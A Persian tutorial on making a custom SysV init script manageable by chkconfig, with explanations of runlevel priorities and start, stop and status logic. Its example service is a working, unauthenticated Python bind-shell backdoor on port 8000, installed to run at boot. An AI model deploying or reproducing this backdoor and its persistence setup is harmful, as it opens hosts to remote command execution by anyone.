سلام . در قسمت های قبلی با مفاهیم runlevel و هم چنین کار با دستور chkconfig آشنا شدیم . هم چنین با ذکر چندین مثال سویچ add و del دستور chkconfig را بررسی کردیم و چندین حالات ممکن برای سرویس ssh را بررسی کردیم .
اما تمامی سرویس هایی که گفتیم , همه در سیستم وجود داشتند و فایل های اجرایی و کانفیگ آن در سیستم وجود داشت . حال فرض کنید می خواهیم یک اسکریپت کوچیک تهیه کنیم که طبق سینتکس های chkconfig باشد . یعنی علاوه بر این که در runlevel ای خاص اجرا شود , قابل مدیریت توسط ابزار chkconfig هم باشد .
فرض ها :
1. من یک اسکریپت کوچیک ریموت شل با استفاده از پایتون تهیه کردم ام که روی پورت 8000 سرویس دهی می کند : ( از اسکریپت 0x0ptim0us توسط نوشته شده است )
#!/usr/bin/python # TT Backdoor written by 0x0ptim0us # mail : [email protected] # edited by e2ma3n import socket import subprocess tcpsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcpsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) tcpsocket.bind(("0.0.0.0", 8000)) tcpsocket.listen(2) (client, (ip, port)) = tcpsocket.accept() while True: try: client.send("n[TBH@Backdoor] : ") data=client.recv(512000) data=data.strip("n") run=subprocess.Popen(data, stderr=subprocess.PIPE, stdout=subprocess.PIPE, stdin=subprocess.PIPE, shell=True) run2=run.stdout.read() client.send(run2) except(KeyboardInterrupt): print "Something Wrong !" client.close() tcpsocket.close()
من این اسکریپت را در مسیر usr/sbin/ با نام فرضی ttb کپی می کنم . حال برای اجرای این اسکریپت کافیست به صورت زیر عمل کنیم :
python /usr/sbin/ttb
اما برای مدیریت این اسکریپت کافیست یک اسکریپت دیگه ای تهیه کنیم و آن را در chkconfig اضافه کنیم . اگه اسکریپت پایتون بالا را مثل یک سرویس که روی پورت 8000 سرویس دهی می کند در نظر بگیریم . می توانیم مدیریت start و stop و status و … این سرویس را با اسفاده از chkconfig و دستور service به عهده بگیریم .
برای این منظور اسکریپت زیر را در مسیر etc/init.d/ با نام فرضی ttbd قرار می دهیم :
01. #! /bin/bash 02. # chkconfig: 5 23 55 03. case "$1" in 04. start) 05. echo "Starting ttb on tcp/8000 " 06. python /usr/sbin/ttb & 07. echo "start zade shode" >> /tmp/ttb.txt 08. ;; 09. stop) 10. echo "Stopping ttb " 11. kill -9 `netstat -ltpn | grep python | tr -d " " | tr "LISTEN" ":" | tr "/" ":" | cut -d : -f 9` 12. echo "stop zade shode" >> /tmp/ttb.txt 13. ;; 14. status) 15. echo "status zade shode" >> /tmp/ttb.txt 16. netstat -ltpn | grep python | tr -d " " | tr "LISTEN" ":" | tr "/" ":" | cut -d : -f 9 > /tmp/ttb.out ; echo disable >> /tmp/ttb.out 17. status=`cat /tmp/ttb.out | head -n 1` 18. if [ $status = "disable" ]; then 19. echo "ttb is stoped" 20. else 21. echo "ttb is running..." 22. fi 23. ;; 24. *) 25. echo "Usage: ttb {start|stop|status}" 26. exit 1 27. ;; 28. esac 29. 30. exit 0
توضیح اسکریپت بالا :
1. به خطوط 04 و 09 و 14 و 25 توجه کنید . پس می توان نتیجه گرفت با 3 آپشن start و stop و status رو به رو هستیم .
2. اگر به خط 02 توجه کنید عبارت chkconfig: 5 23 55 مواجه خواهید شد . این عبارت برای اضافه کردن این اسکریپت به دیتابیس chkconfig الزامی است . عدد شماره ی 5 مشخه ی runlevel پیش فرضی که قرار است سرویس در آن فعال باشد , می باشد . عدد شماره ی 23 مشخه ی اولیت فعال شدن سرویس ttb پس از تمامی سرویس هایی که با اولویت 23 و کم تر از آن می باشد, است .
یعنی ابتدا سرویس هایی با اولویت 00 و 10 و 15 و … فعال شدن و پس از این که اولویت شماره ی 22 فعال شد , سرویس ما ( که اولیت 23 فعال را به خود می گیرد ) فعال می شود .
توجه داشته باشید که این اولویت اجرا فقط در runlevel هایی هست که قرار است سرویس ما در آن ها فعال باشد . به عنوان مثال ما runlevel فعال بودن سرویس خودمون رو 5 انتخاب کردیم . پس طبیعتا این اولویت فعال شدن فقط برای runlevel شماره ی 5 می باشد . ( اگه به غیر از runlevel شماره ی 5 , شماره ی 4 را هم داشتیم آن وقت این اولویت فعال شدن برای runlevel شماره ی 4 هم اعمال می شد )
عدد شماره ی 55 مشخه ی اولیت غیر فعال شدن سرویس ttb پس از تمامی سرویس هایی که با اولویت 23 و کم تر از آن می باشد, است .
یعنی ابتدا سرویس هایی با اولویت 10 20 40 و … غیر فعال شده و پس از این که اولویت شماره ی 54 غیر فعال شد , سرویس ما ( که اولویت 55 غیر فعال را به خود می گیرد ) غیر فعال می شود .
اجازه بدید همین روند را برای سرویس iptables و ssh بررسی کنیم . برای این منظور :
[root@dhcppc2 ~]# cat /etc/init.d/iptables | grep chkconfig # chkconfig: 2345 08 92
و هم چنین :
[root@dhcppc2 ~]# cat /etc/init.d/sshd | grep chkconfig # chkconfig: 2345 55 25
iptables :
همان طور که مشاهده می کنید قسمت ابتدایی اعداد با 2345 پر شده است که این یعنی این سرویس در runlevel های 2345 به صورت پیش فرض فعال باشد .
قسمت دوم اعداد 08 است که به منظور اولویت اجرای این سرویس است که همان طور که می بینید این عدد بسیار کوچیک است پس به این معنی است که این سرویس بسیار مهم بوده و باید زود تر از همه اجرا شود .
قسمت سوم اعداد 92 است که به منظور اولویت غیر فعال شدن این سرویس است که همان طور که می بینید این عدد بسیار کوچیک است پس به این معنی است که این سرویس بسیار مهم بوده و باید آخر از همه غیر فعال شود !
همان طور که می دونید iptables سرویسی مهم است پس زود تر از همه اجرا شده و دیر تر از همه غیر فعال می شود . برای دیدن و اثبات حرف هامون می تونیم به صورت زیر عمل کنیم . یعنی در تمامی دایرکتوری های runlevel ها به دنبال سرویس iptables بگردیم :
ls -1 /etc/rc?.d/*iptables
همان طور که از عکس مشخص است . سرویس iptables در runlevel های 0 و 2 و 6 غیر فعال و اولویت آن 92 می باشد . هم چنین این سرویس در runlevel های 2 تا 5 فعال بوده و اولویت آن 08 می باشد .
یاد آوری : حرف S به منظور فعال و حرف K به منظور غیر فعال بودن سرویس می باشد .
یاد آوری : دو عدد بعد از حرف S و K به منظور اولویت سرویس ها می باشد .
توضیح قسمت start اسکریپت :
در این قسمت 3 دستور به ترتیب اجرا می شود . در ابتدا یک خروجی با مضمون فعال شدن سرویس چاپ می شود سپس اسکریپت پایتون ما در مرحله ی بعدی اجرا می شود . در آخر عبارتی با مضمون “از start استفاده شده است” در فایلی در مسیر tmp/ttb.txt/ نوشته می شود .
توضیح قسمت stop اسکریپت :
همانند قسمت قبل 3 دستور اجرا می شود . در ابتدا یک عبارت با مضمون این که سرویس stop شده است چاپ می شود سپس pid برنامه ای که اجرا کردیم پیدا شده و در نهایت در مقابل دستور زیر قرار می گیرد :
kill -9 PID
در نهایت عبارتی با مضمون این که از stop استفاده شده داخل فایل ttb.txt ریخته می شود .
توضیح قسمت status اسکریپت :
همانند قسمت بالا 3 دستور در این قسمت به ترتیب اجرا می شود . در ابتدا یک عبارت با مضمون این که از status استفاده شده است در فایل ttb.txt ریخته می شود . در مرحله ی بعد با استفاده از تیکه کد زیر به دنبال pid اسکریپتی که اجرا کردیم می گردیم :
netstat -ltpn | grep python | tr -d " " | tr "LISTEN" ":" | tr "/" ":" | cut -d : -f 9 > /tmp/TBH.out ; echo disable >> /tmp/TBH.out
ابتدا PID برنامه ی ما پیدا شده و در فایل ttb.out ریخته می شود . در مرحله ی بعد عبارت disable نیز به این فایل در خطی جدا اضافه می شود .
پس فایل ttb.out دو حالت زیر را می تواند داشته باشد :
الف : در خط اول pid برنامه ی ما و در خط بعدی کلمه ی disable ( که یعنی pid برنامه ما پیدا شده و در فایل ریخته شده است پس برنامه ی ما فعال است )
ب : فقط در خط اول کلمه ی disable ( که یعنی pid برنامه ی ما پیدا نشده یعنی برنامه ی ما فعال نمی باشد و لذا فقط کلمه ی disable در فایل ریخته می شود )
از همین طریق می توان یک خروجی مناسب با مضمون فعال یا غیر فعال بودن سرویس چاپ کرد !
در مرحله ی بعد خط اول فایل ttb.out خوانده می شود و داخل متغیر status ریخته می شود . در مرحله ی بعد برنامه وارد یک شرط می شود .
اگر عبارت داخل متغییر برابر با disable بود , عبارتی با مضمون ttb is stoped چاپ می شود
if [ $status = "disable" ]; then echo "ttb is stoped"
و اگر عبارت داخل متغییر status چیزی به غیر از disable بود , عبارتی با مضمون ttb is running… چاپ خواهد شد .
else echo "ttb is running..." fi
حال جهت اجرا کافیست به اسکریپت خودمون پرمیشن اجرا دهیم . برای این منظور :
chmod +x /etc/init.d/ttbd
حال کافیست اسکریپت خودمون رو به شکل زیر به chkconfig جهت مدیریت سرویس اضافه کنیم :
chkconfig --add ttbd
اگر یک نگاهی به runlevel های فعال سرویس خودمون بندازیم , خواهیم دید که تنها در runlevel شماره ی 5 فعال است چرا که در اسکپریت runlevel پیش فرض را 5 انتخاب کردیم .
chkconfig --list ttbd
حال می توان مانند تمامی سرویس های دیگر , این سرویس را نیز مدیریت کرد . هم چنین می توان با استفاده از دستور service سرویس ttbd را مدیریت کنیم . به عنوان مثال :
service ttbd status
نکته : این آموزش برای توزیعی گفته شد که از systemv به صورت پیش فرض استفاده می شود این در حالی است که centos 7 به صورت پیش فرض از systemd استفاده می کند .
نکته : اسکریپت نویسی این آموزش فقط جهت مثال و آموزش بود و نمی توان آن را با سرویس های بزرگی همچون ssh و http و … مقایسه کرد .
نویسنده : E2MA3N
منبع : او اس لرن |http://OSLearn.ir